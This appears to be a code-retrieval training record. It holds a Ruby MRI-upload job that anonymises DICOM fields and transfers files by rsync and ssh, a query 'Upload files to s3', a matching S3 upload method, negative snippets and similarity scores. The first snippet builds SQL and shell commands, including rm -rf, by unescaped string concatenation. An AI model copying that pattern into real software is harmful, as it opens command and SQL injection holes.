/tmp/hyunwoo_20140520_upload/[subjectid]_YYYYMMDD_wisc\n v_subject_dir = r[0]+\"_\"+(results_vgroup.first)[0].to_s+\"_wisc\"\n v_parent_dir_target =v_target_dir+\"/\"+v_subject_dir\n v_call = \"mkdir \"+v_parent_dir_target\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n sql_dataset = \"select distinct appointments.appointment_date, visits.id visit_id, image_datasets.id image_dataset_id, image_datasets.series_description, image_datasets.path, series_description_types.series_description_type \n from vgroups , appointments, visits, image_datasets, series_description_maps, series_description_types \n where vgroups.transfer_mri = 'yes' and vgroups.id = appointments.vgroup_id \n and appointments.id = visits.appointment_id and visits.id = image_datasets.visit_id\n and LOWER(image_datasets.series_description) = LOWER(series_description_maps.series_description)\n and series_description_maps.series_description_type_id = series_description_types.id\n and series_description_types.series_description_type in ('T1_Volumetric') \n and vgroups.id in (select evm.vgroup_id from enrollment_vgroup_memberships evm, enrollments e where evm.enrollment_id = e.id and e.enumber ='\"+r[0].gsub(\"_v2\",\"\").gsub(\"_v3\",\"\").gsub(\"_v4\",\"\").gsub(\"_v5\",\"\")+\"')\n and vgroups.id in (select spvg.vgroup_id from scan_procedures_vgroups spvg where spvg.scan_procedure_id ='\"+r[1].to_s+\"')\n order by appointments.appointment_date \"\n results_dataset = connection.execute(sql_dataset)\n v_folder_array = [] # how to empty\n v_scan_desc_type_array = []\n v_cnt = 1\n results_dataset.each do |r_dataset|\n v_series_description_type = r_dataset[5].gsub(\" \",\"_\")\n if !v_scan_desc_type_array.include?(v_series_description_type)\n v_scan_desc_type_array.push(v_series_description_type)\n end\n v_path = r_dataset[4]\n v_dir_array = v_path.split(\"/\")\n v_dir = v_dir_array[(v_dir_array.size - 1)]\n v_dir_target = v_dir+\"_\"+v_series_description_type\n v_path = v_path.gsub(\"/Volumes/team/\",\"\").gsub(\"/Volumes/team-1/\",\"\").gsub(\"/Data/vtrak1/\",\"\") #v_base_path+\"/\"+\n if v_folder_array.include?(v_dir_target)\n v_dir_target = v_dir_target+\"_\"+v_cnt.to_s\n v_cnt = v_cnt +1\n # might get weird if multiple types have dups - only expect T1/Bravo\n end\n v_folder_array.push(v_dir_target)\n\n # v_call = \"/usr/bin/bunzip2 \"+v_parent_dir_target+\"/\"+v_dir_target+\"/*.bz2\"\n v_call = \"mise \"+v_path+\" \"+v_parent_dir_target+\"/\"+v_dir_target # works where bunzip2 cmd after rsync not work\n #puts \"v_path = \"+v_path\n #puts \"v_parent_dir_target = \"+ v_parent_dir_target\n #puts \"v_dir_target=\"+v_dir_target\n puts \"AAAAAA \"+v_call\n stdin, stdout, stderr = Open3.popen3(v_call)\n stderr.each {|line|\n puts line\n }\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n # temp - replace /Volumes/team/ and /Data/vtrak1/ with /Volumes/team-1 in dev\n # split on / --- get the last dir\n # make new dir name dir_series_description_type \n # check if in v_folder_array , if in v_folder_array , dir_series_description_type => dir_series_description_type_2\n # add dir, dir_series_description_type to v_folder_array\n # cp path ==> /tmp/hyunwoo_20140520_upload/[subjectid]_yyymmdd_wisc/dir_series_description_type(_2)\n end\n\n sql_status = \"select status_flag from cg_hyunwoo_20140520 where subjectid ='\"+r[0]+\"'\"\n results_status = connection.execute(sql_status)\n if v_scan_desc_type_array.size < 1 and (results_status.first)[0] != \"R\"\n # sql_dirlist = \"update cg_hyunwoo_20140520 set general_comment =' NOT ALL SCAN TYPES!!!! \"+v_folder_array.join(\", \")+\"' where subjectid ='\"+r[0]+\"' \"\n # results_dirlist = connection.execute(sql_dirlist)\n sql_status = \"update cg_hyunwoo_20140520 set status_flag ='N' where subjectid ='\"+r[0]+\"' \"\n results_sent = connection.execute(sql_status)\n # send email \n v_subject = \"hyunwoo_20140520_upload \"+r[0]+\" is missing some scan types --- set status_flag ='R' to send : scans =\"+v_folder_array.join(\", \")\n v_email = \"noreply_johnson_lab@medicine.wisc.edu\"\n PandaMailer.schedule_notice(v_subject,{:send_to => v_email}).deliver\n\n # mail(\n # :from => \"noreply_johnson_lab@medicine.wisc.edu\"\n # :to => \"noreply_johnson_lab@medicine.wisc.edu\", \n # :subject => v_subject\n # )\n PandaMailer.schedule_notice(v_subject,{:send_to => \"noreply_johnson_lab@medicine.wisc.edu\"}).deliver\n v_comment_warning = v_comment_warning+\" \"+v_scan_desc_type_array.size.to_s+\" scan type \"+r[0]\n v_call = \"rm -rf \"+v_parent_dir_target\n # puts \"BBBBBBBB \"+v_call\n stdin, stdout, stderr = Open3.popen3(v_call)\n stderr.each {|line|\n puts line\n }\n while !stdout.eof?\n puts stdout.read 1024 \n end \n stdin.close\n stdout.close\n stderr.close\n else\n\n sql_dirlist = \"update cg_hyunwoo_20140520 set dir_list ='\"+v_folder_array.join(\", \")+\"' where subjectid ='\"+r[0]+\"' \"\n results_dirlist = connection.execute(sql_dirlist)\n # TURN INTO A LOOP\n v_dicom_field_array =['0010,0030','0010,0010']\n v_dicom_field_value_hash ={'0010,0030'=>'DOB','0010,0010'=>'Name'}\n #### v_dicom_field_array.each do |dicom_key|\n Dir.glob(v_parent_dir_target+'/*/*/*.dcm').each {|dcm| puts d = DICOM::DObject.read(dcm); \n v_dicom_field_array.each do |dicom_key|\n if !d[dicom_key].nil? \n d[dicom_key].value = v_dicom_field_value_hash[dicom_key]; d.write(dcm) \n end \n end }\n Dir.glob(v_parent_dir_target+'/*/*/*.0*').each {|dcm| puts d = DICOM::DObject.read(dcm); \n v_dicom_field_array.each do |dicom_key|\n if !d[dicom_key].nil? \n d[dicom_key].value = v_dicom_field_value_hash[dicom_key]; d.write(dcm) \n end \n end }\n Dir.glob(v_parent_dir_target+'/*/*/*.1*').each {|dcm| puts d = DICOM::DObject.read(dcm); \n v_dicom_field_array.each do |dicom_key|\n if !d[dicom_key].nil? \n d[dicom_key].value = v_dicom_field_value_hash[dicom_key]; d.write(dcm) \n end \n end }\n Dir.glob(v_parent_dir_target+'/*/*/*.2*').each {|dcm| puts d = DICOM::DObject.read(dcm); \n v_dicom_field_array.each do |dicom_key|\n if !d[dicom_key].nil? \n d[dicom_key].value = v_dicom_field_value_hash[dicom_key]; d.write(dcm) \n end \n end }\n Dir.glob(v_parent_dir_target+'/*/*/*.3*').each {|dcm| puts d = DICOM::DObject.read(dcm); \n v_dicom_field_array.each do |dicom_key|\n if !d[dicom_key].nil? \n d[dicom_key].value = v_dicom_field_value_hash[dicom_key]; d.write(dcm) \n end \n end }\n\n #### end \n\n # \n # # #puts \"bbbbb dicom clean \"+v_parent_dir_target+\"/*/\"\n # Dir.glob(v_parent_dir_target+'/*/*/*.dcm').each {|dcm| puts d = DICOM::DObject.read(dcm); if !d[\"0010,0030\"].nil? \n # d[\"0010,0030\"].value = \"DOB\"; d.write(dcm) \n # end } \n v_call = \"rsync -av \"+v_parent_dir_target+\" panda_user@\"+v_computer+\".dom.wisc.edu:/home/panda_user/upload_hyunwoo_20140520/\"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n\n #v_call = \"zip -r \"+v_target_dir+\"/\"+v_subject_dir+\".zip \"+v_parent_dir_target\n #v_call = \"cd \"+v_target_dir+\"; zip -r \"+v_subject_dir+\" \"+v_subject_dir # ??????? PROBLEM HERE????\n v_call = \"cd \"+v_target_dir+\"; /bin/tar -zcf \"+v_subject_dir+\".tar.gz \"+v_subject_dir+\"/\"\n v_call = 'ssh panda_user@'+v_computer+'.dom.wisc.edu \" tar -C /home/panda_user/upload_hyunwoo_20140520 -zcf /home/panda_user/upload_hyunwoo_20140520/'+v_subject_dir+'.tar.gz '+v_subject_dir+'/ \" '\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n puts \"bbbbbbb \"+v_call\n\n v_call = ' rm -rf '+v_target_dir+'/'+v_subject_dir\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n # \n v_call = 'ssh panda_user@'+v_computer+'.dom.wisc.edu \" rm -rf /home/panda_user/upload_hyunwoo_20140520/'+v_subject_dir+' \"'\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n\n\n # did the tar.gz on \"+v_computer+\" to avoid mac acl PaxHeader extra directories\n v_call = \"rsync -av panda_user@\"+v_computer+\".dom.wisc.edu:/home/panda_user/upload_hyunwoo_20140520/\"+v_subject_dir+\".tar.gz \"+v_target_dir+'/'+v_subject_dir+\".tar.gz\"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n\n\n v_call = \" rm -rf \"+v_target_dir+'/'+v_subject_dir+\".tar.gz\"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close \n\n sql_sent = \"update cg_hyunwoo_20140520 set done_flag ='Y' where subjectid ='\"+r[0]+\"' \"\n results_sent = connection.execute(sql_sent)\n end\n v_comment = \"end \"+r[0]+\",\"+v_comment\n @schedulerun.comment =v_comment[0..1990]\n @schedulerun.save \n end\n\n @schedulerun.comment =(\"successful finish hyunwoo_20140520_upload \"+v_comment_warning+\" \"+v_comment[0..1990])\n if !v_comment.include?(\"ERROR\")\n @schedulerun.status_flag =\"Y\"\n end\n @schedulerun.save\n @schedulerun.end_time = @schedulerun.updated_at \n @schedulerun.save \n\n\n end",
"def copy_logs(runner, dest = \"log\")\n FileUtils.mkdir(dest) unless Dir.exists?(dest)\n runner.download_logs(dest)\nend",
"def update_project(from_version, to_version, tx)\n Installer.copy(tx, \"#{@service_dir}/pieces/public\", get_path(:web))\n true\n end",
"def process_single_submitted_file(file_cfg, submission_name, current_user)\n filename = File.basename(file_cfg[:filename])\n if filename.end_with?('.tar.gz')\n tmp_folder = File.join(Dir.tmpdir, SecureRandom.alphanumeric(10))\n begin\n FileUtils.mkdir_p(tmp_folder)\n system(\"tar -zx -C #{tmp_folder.shellescape} -f #{file_cfg[:tempfile].path.shellescape}\")\n Dir.children(tmp_folder).each do |single_fn|\n submission_variant = File.basename(single_fn, File.extname(single_fn))\n content = File.read(File.join(tmp_folder, single_fn))\n schedule_submission_file(submission_variant, content, submission_name, current_user)\n end\n ensure\n FileUtils.rm_r(tmp_folder)\n end\n else\n submission_variant = File.basename(filename, File.extname(filename))\n content = file_cfg[:tempfile].read\n schedule_submission_file(submission_variant, content, submission_name, current_user)\n end\nend",
"def copy_script\n\n end",
"def update_version_to_next\n super\n info \"Current version is now #{extract_version}\"\n Hg.commit File.basename(version_file), message\n Hg.push if Hg.remote\n end",
"def copy_assets; end"
] |
[
"0.6425221",
"0.6113231",
"0.6099149",
"0.606806",
"0.6066456",
"0.59865075",
"0.59865075",
"0.5911053",
"0.5908292",
"0.5902462",
"0.5878168",
"0.58709186",
"0.58362496",
"0.5810192",
"0.57839453",
"0.57568693",
"0.57274264",
"0.57055444",
"0.5699966",
"0.5679725",
"0.5640967",
"0.56234914",
"0.5617521",
"0.56077105",
"0.5576154",
"0.55394596",
"0.553217",
"0.5527656",
"0.5513333",
"0.5512638",
"0.55026567",
"0.54736006",
"0.54662716",
"0.54507786",
"0.54474604",
"0.54432195",
"0.54426044",
"0.5440706",
"0.54243827",
"0.5397987",
"0.5391106",
"0.5391026",
"0.53650385",
"0.5355767",
"0.53514224",
"0.53470826",
"0.534623",
"0.5345962",
"0.53266555",
"0.53232473",
"0.5314729",
"0.53134215",
"0.5312347",
"0.530352",
"0.5303395",
"0.5295721",
"0.52908343",
"0.5289769",
"0.52666026",
"0.52606905",
"0.5256599",
"0.5253803",
"0.52418035",
"0.5240761",
"0.52378416",
"0.5236702",
"0.5235785",
"0.5233247",
"0.5229214",
"0.5227887",
"0.52198917",
"0.52111655",
"0.52111655",
"0.52103424",
"0.51993036",
"0.5191474",
"0.5184469",
"0.518359",
"0.5182331",
"0.5182328",
"0.5182328",
"0.5180811",
"0.5179267",
"0.5175639",
"0.51693845",
"0.51564366",
"0.5151458",
"0.51459354",
"0.5143626",
"0.5143553",
"0.51385045",
"0.5137894",
"0.5137627",
"0.5128286",
"0.51271665",
"0.51260084",
"0.5116031",
"0.5114357",
"0.51093924",
"0.5104042"
] |
0.71798426
|
0
|
Upload files to s3
|
def upload_to_s3(files, key_prefix)
args = files.map do |file|
{
body: File.new(file),
bucket: bucket_name,
key: key(key_prefix, file.relative_path_from(report_path))
}
end
Parallel.each(args, in_threads: 8) { |obj| client.put_object(obj) }
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def perform_multipart_upload\n s3o = S3Object.find_by(uri: @params[:s3_object_uri]) || S3Object.new\n s3o.uri = @params[:s3_object_uri]\n s3o.file = @params[:file]\n s3o.bucket = handle_bucket\n s3o.key = @params[:key]\n s3o.content_type = @params[:file].content_type\n s3o.size = File.size(s3o.file.path)\n s3o.md5 = Digest::MD5.file(s3o.file.path).hexdigest\n s3o.save!\n\n [:created, :xml, XmlAdapter.uploaded_object(\"#{@request.host}:#{@request.port}\", s3o)]\n end",
"def s3_upload(item)\n filepath = item.zip_file_path\n s3_key = item.s3_path\n s3_path = \"s3://#{s3_bucket}/#{s3_key}\"\n message = \"Uploading: #{filepath} to #{s3_path}\".color(:green)\n message = \"NOOP: #{message}\" if @options[:noop]\n puts message\n return if @options[:noop]\n\n s3.put_object(\n body: IO.read(filepath),\n bucket: s3_bucket,\n key: s3_key,\n )\n end",
"def s3_upload( file_name, destination_name )\n #log(\"Uploading #{file_name} to S3 as #{destination_name} ...\")\n #load keys\n json = File.read(S3KEYS)\n ak = JSON.parse(json)\n aws_access_key_id = ak['aws_access_key_id'] \n aws_secret_access_key = ak['aws_secret_access_key']\n\n #establish S3 connection \n s3 = RightAws::S3.new(aws_access_key_id, aws_secret_access_key, {:logger =>Logger.new( File.open( LOG_FILE, 'a' ) )})\n bucket = s3.bucket(IOS_BUILDS_BUCKET)\n #upload file \n file = File.open( file_name )\n bucket.put( destination_name, file ) \nend",
"def upload(bucket, file); end",
"def upload\n\t AWS.config(access_key_id: @access_key, secret_access_key: @access_secret)\n\t s3 = AWS::S3.new \n\t key = File.basename(@zipfile_name)\n\t s3.buckets[@bucket_name].objects[key].write(:file => @zipfile_name)\n\t puts \"Uploading file #{@zipfile_name} to bucket #{@bucket_name}.\"\n\t FileUtils.rm_rf @zipfile_name\n\t end",
"def put(files, bucket) # FILE [FILE...] s3://BUCKET[/PREFIX]\n send_command \"put\", files, bucket\n end",
"def upload_to_s3(s3)\n # do some validity checks\n if uploaded?\n logger.warn \"email #{id} already uploaded\"\n return\n end\n email_file = temp_filename\n raise \"missing raw file (#{email_file}) for email #{id}\" unless File.exist?(email_file)\n\n key = gen_s3_key\n if s3.upload(email_file, key)\n update_attributes(:s3_key => key, :size => File.size(email_file))\n FileUtils.rm email_file # Delete file from disk\n end \n end",
"def quick_s3_upload\n end",
"def upload_to_s3(info, file_name)\n bucket_name = 'techops-tests'\n\n to_json_file(info, file_name)\n\n s3 = Aws::S3::Resource.new(\n region: 'ap-southeast-2',\n access_key_id: $options[:s3_key],\n secret_access_key: $options[:s3_secret]\n )\n\n file = File.basename file_name\n obj = s3.bucket(bucket_name).object(file)\n\n if obj.upload_file(file)\n puts \"Uploaded #{file} to bucket #{bucket_name}\"\n File.delete(file_name)\n else\n puts \"Could not upload #{file} to bucket #{bucket_name}!\"\n end\nend",
"def upload(config={})\n\n\t\tfile_name = config.delete(:file_name)\n\t\tpath_to_s3_folder = config.delete(:path_to_s3_folder)\n\n\t\tif file_name.nil? || file_name.empty?\n\t\t\traise ArgumentError, \"file_names is either empty or contains no values\"\n\t\telsif file_name==''\n\t\t\traise ArgumentError, \"File Names is passed as empty string. Pass appropriate values\"\n\t\tend\n\n\t\tfile_names = Array.new\n\t\tfile_names = file_name if file_name.is_a? Array\n\n\t\tfile_names.push(file_name) if file_name.is_a? String\n\t\tfile_names.each {|file|\n\t\t\t#raise ArgumentError, \"File name does not exist in the main directory\" if File.exists?(file)==false\n\t\t\tfinal_file_path = path_to_s3_folder + file\n\t\t\t@s3.buckets[@bucket_name].objects[final_file_path].write(:file => file)\n\t\t\tputs \"#{file} successfully uploaded\"\n\t\t} unless file_names.nil?\n\tend",
"def upload!()\n file_number = 0\n\n total_files = @files.length\n\n @files.each do |file|\n file_number += 1\n\n print \"\\rUploading... [#{file_number}/#{total_files}]\"\n\n next if File.directory? file\n\n # Get the path relative to containing directory\n path = file.gsub(/^#{@folder_path}\\//, '')\n\n options = { :acl => \"authenticated-read\" }\n\n if MIME::Types.type_for(file).count > 0\n options[:content_type] = MIME::Types.type_for(file).first.to_str\n end\n\n @s3_bucket.object(path).upload_file(file, options)\n end\n\n puts \"\\rUpload complete!\".ljust 80\n end",
"def upload_file(s3client,plaintext_key,filename,bucket)\r\n begin\r\n filebody = File.new(filename)\r\n s3enc = Aws::S3::Encryption::Client.new(encryption_key: plaintext_key,\r\n client: s3client)\r\n res = s3enc.put_object(bucket: bucket,\r\n key: filename,\r\n body: filebody)\r\n rescue Aws::S3::Errors::ServiceError => e\r\n puts \"upload failed: #{e}\"\r\n end\r\nend",
"def upload_file(from, to, command)\n vputs \"Uploading #{from} with #{command} on s3\"\n verbose = $verbose ? \"--verbose\" : \"\"\n\n upload_command = [\n \"aws s3 #{command}\",\n \"--acl public-read\",\n \"#{ $active_folder }/#{from} s3://#{ $s3_bucket }#{to}\"\n ]\n\n command upload_command.join(' ')\n end",
"def upload(&block)\n @source.files.each do |key, file|\n object = @target.files.create({\n :key => key,\n :body => file,\n :public => true,\n :cache_control => 'max-age=0' # Disable cache on S3 so that future sharts are visible if folks web browsers.\n })\n block.call file, object\n end\n end",
"def aws_call\n s3_object = AMAZON_S3_CLIENT.bucket(bucket_name).object(renamed_filename)\n s3_object.upload_file(\n file,\n metadata: file_metadata,\n content_type: 'text/csv'\n )\n end",
"def send_to_s3(img, name)\n s3_directory.files.create({\n key: \"#{name}.jpg\",\n body: img,\n public: true\n })\nend",
"def upload_file(file)\n key_name = @prefix.dup\n key_name << File.basename(file)\n @right_s3_interface.put(@bucket, key_name , File.read(file) ) \n end",
"def upload\n to_png_file do |png_path|\n File.open(png_path, 'rb') do |file|\n S3.put_object bucket: Giffy::Configuration.aws.bucket, key: key, body: file\n end\n S3.put_object_acl acl: 'public-read', bucket: Giffy::Configuration.aws.bucket, key: key\n end\n end",
"def upload\n to_png_file do |png_path|\n File.open(png_path, 'rb') do |file|\n S3.put_object bucket: Giffy::Configuration.aws.bucket, key: key, body: file\n end\n S3.put_object_acl acl: 'public-read', bucket: Giffy::Configuration.aws.bucket, key: key\n end\n end",
"def uploadS3(name, file, prefz)\n return [false, \"S3 misconfigured\"] if prefz[:user].empty? && prefz[:host].empty? && prefz[:path].empty? && prefz[:url].empty? && prefz[:pass].empty?\n s3 = AFAmazonS3Client.alloc.initWithAccessKeyID(prefz[:user].strip, secret: prefz[:pass].strip)\n puts \"#{prefz[:user].strip.inspect} #{prefz[:pass].strip.inspect}\"\n bucket, path = prefz[:path].gsub(/^\\//, '').split('/', 2)\n s3.bucket = bucket\n NSLog(\"S3 bucket #{bucket}\")\n url = path.nil? ? \"https://#{prefz[:host]}/#{bucket}/\" : \"https://#{prefz[:host]}/#{bucket}/#{path}/#{name}\"\n NSLog(\"S3 destinationPath #{url}\")\n params = { \"Content-Type\" => \"image/png\", \"acl\" => \"public-read\" }\n s3.postObjectWithFile(file, destinationPath: \"/\", parameters: params,\n progress: lambda do |bytesWritten, totalBytesWritten, totalBytesExpectedToWrite|\n stats = (totalBytesWritten / (totalBytesExpectedToWrite * 1.0) * 100)\n NSLog(\"S3: #{file} uploaded #{stats}\")\n end,\n success: lambda do |response|\n NSLog(\"S3: #{file} uploaded successfully.\")\n uploadSuccess(url + \"/#{name}\")\n end,\n failure: lambda do |error|\n NSLog(\"S3: #{file} upload error: #{error.localizedDescription}\")\n uploadFailure(\"S3 Error: #{error.localizedDescription}\")\n end\n )\n nil\n end",
"def upload(files)\n files.each do |file|\n puts \"Uploading '#{file.filename}'\"\n\n begin\n Timeout.timeout(30) do\n bucket.files.create(\n key: file.filename,\n body: file.blob,\n public: true\n )\n end\n rescue\n puts \"Failed to upload: #{file.filename}\"\n File.open('failed.txt', 'a') { |f| f.write(\"#{file.filename}\\n\") }\n end\n end\n end",
"def upload(bucket, key)\n connect_to_s3\n AWS::S3::S3Object.store(key, File.open(temp_file_path, 'r'), bucket, :access => :public_read)\n AWS::S3::S3Object.url_for(key, bucket, :authenticated => false)\n end",
"def upload_file\n upload_thumb if Rails.configuration.thumbnails_enabled\n file_s3_obj.write(@file.tempfile.open, content_type: @file.content_type)\n end",
"def upload_file( id_object, file_to_upload, folder_on_s3 )\n \n file_name = id_object.to_s + \"-\" + file_to_upload.original_filename.to_s\n path_uploaded_files = Rails.root.join('public','uploaded-files')\n uploaded_file = path_uploaded_files.to_s + \"/\" + file_name\n\n unless Dir.exist?(path_uploaded_files)\n FileUtils.mkdir_p(path_uploaded_files)\n end\n\n File.open(uploaded_file, 'wb') do |file|\n file.write(file_to_upload.read)\n end \n\n file_on_s3 = folder_on_s3 + \"/\" + file_name\n upload_file_to_aws_s3(uploaded_file, file_on_s3)\n\n FileUtils.rm(uploaded_file.to_s)\n\n end",
"def upload_zip_to_s3(file_path, filename, connection)\n\tif !filename.include? \".zip\"\n\t\tfilename += \".zip\"\n\tend\n\ts3_key = \"zipped_packages/\" + filename\n\treturn connection.upload(file_path + filename, s3_key, :public_read, content_type=nil, metadata=nil)\nend",
"def s3_sync\n bucket, root = ENV['s3_backup_dir'].split('/')\n File.open(Backup.filepath, 'r') do |file|\n s3_client.put_object(bucket: bucket, key: root + Backup.filepath(\"\"), body: file)\n end\n end",
"def upload_file_to_aws(file_to_upload, content_type)\n\tputs \"Uploading file: \" + file_to_upload + \" to aws\"\n\tresponse = request_put(file_to_upload, content_type)\n\tputs response\nend",
"def upload(file_path)\n file_name = File.basename(file_path)\n object = @bucket.objects[file_name]\n object.write(:file => file_path)\n object.public_url\n end",
"def save_to_s3(file_name, listing_id)\n connect_to_s3() if ! @s3\n obj = @s3.bucket(S3_BUCKET).object(file_name)\n obj.upload_file('tmp/tmp.jpg')\n end",
"def upload(file)\n # Upload the given file\n AWS::S3::S3Object.store( file,\n open( file ),\n BUCKET,\n :access => :public_read )\n\n # display the URL of the file just uploaded\n puts AWS::S3::S3Object.url_for((file), BUCKET)[/[^?]+/]\nend",
"def upload_file(bucket, key, data)\n bucket.put(key, data)\nend",
"def upload(file_name: nil, file_handle: nil, file_path: nil, sync: true)\n if file_path\n key = key_from_filename(file_path)\n puts \"Uploading #{file_path} to s3 with key #{key}\"\n File.open(file_path, 'rb') do |file|\n s3_client.put_object(key: key, body: file, bucket: bucket )\n end\n else\n key = key_from_filename(file_name)\n s3_client.put_object(key: key, body: file_handle.read, bucket: bucket)\n end\n sync_down if sync\n end",
"def aws_instance_S3_files_create\n bucket = aws_call('aws_S3_bucket_get', name: Rails.configuration.x.aws['s3_bucket_name'])\n if not aws_call('aws_obj_exists?', obj: bucket)\n log \"AWS: creating S3 Bucket '#{Rails.configuration.x.aws['s3_bucket_name']}'\"\n bucekt = aws_call('aws_S3_bucket_create', name: Rails.configuration.x.aws['s3_bucket_name'])\n end\n\n aws_instance_S3_object_create(bucket, 'exit_status', :exit_status_page, :write)\n aws_instance_S3_object_create(bucket, 'script_log', :script_log_page, :write)\n aws_instance_S3_object_create(bucket, 'bash_history', :bash_history_page, :write)\n\n obj = aws_instance_S3_object_create(bucket, 'com', :com_page, :write)\n log \"AWS: writing to S3Object '#{obj.key}'\"\n aws_call('aws_S3_object_write', obj: obj, data: 'waiting')\n\n obj = aws_instance_S3_object_create(bucket, 'cookbook', :cookbook_url, :read)\n log \"AWS: writing to S3Object '#{obj.key}'\"\n aws_call('aws_S3_object_write', obj: obj, data: self.generate_cookbook)\n end",
"def upload(resource, filename)\n _validate_presence_of resource, filename\n\n response = Github::S3Uploader.new(resource, filename).send\n response.body\n end",
"def upload_images(dir)\n s3 = RightAws::S3.new(S3_ID, S3_KEY) \n \n unless s3.bucket(S3_BUCKET).nil? \n keys = s3.bucket(S3_BUCKET).keys.map {|k| k.to_s}\n \n pattern = File.join(\"**\", dir, \"*.png\")\n files = Dir.glob(pattern)\n files.each do |f|\n unless keys.include? f\n puts \"Uploading image #{f}\"\n s3.bucket(S3_BUCKET).put(f, File.open(f), {}, 'public-read')\n else\n puts \"Already uploaded: #{f}\"\n end\n end\n else\n puts \"The bucket must be initially created, creating it command line requires too much setup data (region, logging, permissions etc)\"\n end\nend",
"def call\n validate\n upload_to_s3\n renamed_filename\n end",
"def upload_to_s3\n log_action('Uploading file to AWS')\n return true if aws_call\n\n raise CsvUploadFailureException, I18n.t('csv.errors.base')\n rescue Aws::S3::Errors::ServiceError => e\n log_error e\n raise CsvUploadFailureException, I18n.t('csv.errors.base')\n end",
"def upload(tempfile, filename)\n Rails.logger.debug \" Uploading filename...\"\n s3_path = File.join(self.full_path_prefix, filename)\n AWS::S3::S3Object.store(s3_path, tempfile.open, AWS_CONFIG['s3']['bucket_name'], :access => :public_read) # reopen the tempfile and write directly to S3\n Rails.logger.debug \" ** Uploaded image to S3: #{s3_path}\"\n ensure\n # tempfile.unlink\n end",
"def tag_and_upload(file, date = Date.current, s3_resource, bucketname,\n storage_class: DEFAULT_STORAGE_CLASS)\n date_tags = Backup.aws_date_tags(date)\n prefix = Backup.s3_backup_bucket_full_prefix(date)\n obj = s3_resource.bucket(bucketname).object(prefix + File.basename(file))\n obj.upload_file(file.path, { tagging: date_tags, storage_class: storage_class })\n end",
"def save_file_to_s3_bucket(file)\n\n bucket = \"prototype-jv\"\n temp_file = \"./public/swap/#{file}\"\n s3_file_path = \"imageuploader/#{file}\"\n\n connect_to_s3()\n s3 = Aws::S3::Resource.new(region: ENV['AWS_REGION'])\n obj = s3.bucket(bucket).object(s3_file_path)\n\n if obj.exists? # file already exists in bucket\n cleanup_swap_dir(file) # being called by process_photo() in photo_upload, review for Upload to Cloud\n puts \"Image already in bucket!\"\n else\n obj.upload_file(temp_file) # put file in bucket\n cleanup_swap_dir(file) # being called by process_photo() in photo_upload, review for Upload to Cloud\n puts \"Image uploaded to bucket!\"\n end\n\nend",
"def s3_updatefile(filename, filedata)\n s3_deletefile filename\n #AWS::S3::S3Object.store filename, filedata, QBUCKET.to_s, :access => :public_read\n AWS::S3::S3Object.store filename, filedata, IMAGES_BUCKET.to_s, :access => :public_read\n end",
"def put(io_streams, as=io_streams.map{|file| File.basename(file)})\n batch(io_streams) do |stream, i|\n dest = as[i]\n yield(stream, dest) if block_given?\n begin\n s3.buckets[@bucket_name].objects[dest].write(stream, :acl => :public_read)\n rescue AWS::S3::Errors::NoSuchBucket\n s3.buckets.create(@bucket_name, :acl => :public_read)\n stream.rewind\n retry\n end #begin\n file_to_url(dest)\n end #batch\n end",
"def upload(bucket, local_dir, remote_subdir=nil)\n puts \"> AWS Upload: #{bucket}\".yellow\n puts \" SUBDIR: #{remote_subdir}\".yellow unless remote_subdir.nil?\n puts \" SOURCE: #{local_dir}\".yellow\n raise FileNotFound.new(local_dir) unless File.exists?(local_dir)\n\n s3 = Aws::S3::Resource.new(client: s3_client)\n bucket = s3.bucket(bucket)\n\n files = Dir.glob(File.join(local_dir, '**/*')).reject { |f| File.directory?(f) }\n dir_prefix = (local_dir.end_with?('/')) ? local_dir : \"#{local_dir}/\"\n puts \"> Uploading #{files.size} files\".yellow\n progressbar = ProgressBar.create(title: ' AWS::Put'.yellow, total: files.size)\n files.each do |file|\n rel_path = file.delete_prefix(dir_prefix)\n file_path = (remote_subdir.nil?) ? rel_path : File.join(remote_subdir, rel_path)\n bucket.object(file_path).upload_file(file) do |response|\n progressbar.increment\n end\n # s3.put_object(\n # body: file,\n # bucket: bucket,\n # key: File.join(remote_subdir, File.basename(file))\n # )\n end\n progressbar.finish unless progressbar.finished?\n end",
"def upload_multipart(file, opts = {})\n @opts = opts\n\n create_object(*S3Client.s3_params).write(content_length: file.size) do |buffer, bytes|\n buffer.write(file.read(bytes))\n end\n end",
"def upload_video_at_s3(filename, filepath) \n\t\tbegin\n\t\t\ts3 = Aws::S3::Resource.new\n\t\t\tobj = s3.bucket(ENV['AWS_S3_BUCKET'] || 'tv-guide-s3-bucket').object(filename)\n\t\t\tif obj.upload_file(filepath)\n\t\t\t\tself.update(video_filename: filename) \n\n\t\t\t\tFile.delete(filepath) \n\t\t\tend\n\t\trescue StandardError => e\n\t \tRails.logger.info \"================================================upload_video_at_s3:69\"\n\t \tRails.logger.info e\n\t\tend\n\tend",
"def send_logs_to_s3\n File.open(log_file) do |file|\n s3.put_object(\n bucket: log_bucket,\n key: instance_id,\n body: file\n )\n end\n end",
"def upload_job_script(file_path, bucket_resource)\n File.open(file_path) do |file|\n bucket_resource.client.put_object({\n body: file,\n bucket: bucket_resource.name,\n key: file_path\n })\n end\n rescue Aws::S3::Errors::S3UploadFailedError => e\n @logger.error(\"S3 could not upload job script: \\n#{e.message}\")\n raise\n end",
